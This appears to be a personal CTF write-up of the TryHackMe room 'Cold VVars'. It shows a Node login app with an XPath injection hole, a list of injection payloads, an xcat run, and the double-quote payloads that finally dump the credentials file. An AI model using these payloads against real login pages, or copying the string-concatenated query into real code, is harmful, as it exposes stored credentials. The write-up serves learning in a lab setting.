THM: Cold VVars

This is Cold VVars from THM. It’s Medium rated and I barely knew what was going on - I had to get some hints.

Ports

This has SMB plus two HTTP ports, on 8080 and 8082. We’re going to exploit a login page with XPath Injection.

XPath Injection

I hadn’t done this before. We have a node app, with credentials saved in creds.xml. This is the app:

#!/usr/bin/node
const express = require("express");
const path = require("path");
const fs = require('fs');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
var xpath = require('xpath')
  , dom = require('xmldom').DOMParser;

const port = 8082

var Path= __dirname+"/files/"

app.use('/static', express.static("public"))

app.get('/',function(req,res){
     res.sendFile(Path+'index.html');
});

app.get('/login',function(req,res){
    res.sendFile(Path+'login.html');
});

app.post('/login',function(req,res){
    console.log(req.body);
    fs.readFile('./creds.xml', 'utf8' , (err, data) => {
      if (err) {
      console.error(err)
      return
      }
      var doc = new dom().parseFromString(data);
      console.log(req.body.username);
      var s='//user[username="'+req.body.username+'"+and password="'+req.body.password+'"]/password/text()'
      console.log(s);
      var test="Username Password<br>";
      try{
      var nodes = xpath.select('//user[username="'+req.body.username+'"and password="'+req.body.password+'"]/password/text()', doc)
      var nodes1 = xpath.select('//user[username="'+req.body.username+'"and password="'+req.body.password+'"]/username/text()', doc)
      if(nodes && nodes.length>0){
         for(var i=0;i<nodes.length;i++){
            test+=nodes1[i].data
            test+="             "
            test+=nodes[i].data
            test+="<br>"
         }
         console.log(test);
         res.send(test);
      }
      else{
         res.send("Username or Password Wrong");
      }
     }catch(e){
          res.send("Internal Error")
      }
    })
});

app.listen(port,'0.0.0.0');

These are (all!) the payload examples from PayloadsAllTheThings:

' or '1'='1  
' or ''='  
x' or 1=1 or 'x'='y  
/  
//  
//*  
*/*  
@*  
count(/child::node())  
x' or name()='username' or 'x'='y  
' and count(/*)=1 and '1'='1  
' and count(/@*)=1 and '1'='1  
' and count(/comment())=1 and '1'='1  
search=')] | //user/*[contains(*,'  
search=Har') and contains(../password,'c  
search=Har') and starts-with(../password,'c  

None of these will trigger the vulnerability. Payloads mentions xcat. I install it, but can’t trigger the vulnerability with it either. Note the example below is just one go; I had many others but the same results.

┌──(root💀kali)-[/opt/thm/cold_vvars]
└─# xcat run http://10.10.243.225:8082/login -m POST submit {username=User,password=Pass,submit=Login} --encode=form --true-string='!Username or Password Wrong' 
Error: No injections detected

Let’s step back. We know it’s XPath Injection because it’s tagged in the room. OWASP explains the technique here. Here is a payload that works:

" or 1=1 or "

When this payload is used in the username field, the app dumps the contents of the creds.xml file. It does not work if the double quotes are replaced with single quotes; note that the examples from PayloadsAllTheThings all have single quotes and not double.

This is (I believe) because the vulnerable code in the app:

var nodes = xpath.select('//user[username="'+req.body.username+'"and password="'+req.body.password+'"]/password/text()', doc)

uses paired single quotes to separate the string, and unpaired double quotes inside; therefore adding a double quote in the submitted string breaks the logic. Single single quotes and double quotes are basically interchangeable in JS (and Python etc), the XPath Injection examples at OWASP and others that use paired double outer quotes and unpaired inner single quotes, eg:

FindUserXPath = "//Employee[UserName/text()='" + Request("Username").Replace("'", "&apos;") + "' And
        Password/text()='" + Request("Password").Replace("'", "&apos;") + "']";

would presumably be vulnerable to the sorts of syntax from PayloadsAllTheThings, but not this webapp. Interesting, eh?

Looking through the source of xcat it appears that xcat should handle both double and single quotes but I couldn’t get it to work even when I knew what the payload was.

Going back, what if we take the example payloads from before and replace the single quotes with double quotes? If we do, we find this:

x" or 1=1 or "x"="y  

works! Whereas the single quote version didn’t. There is an important lesson here and a good bit of exposure to a technique I hadn’t used before. For the rest of this box, you’re on your own.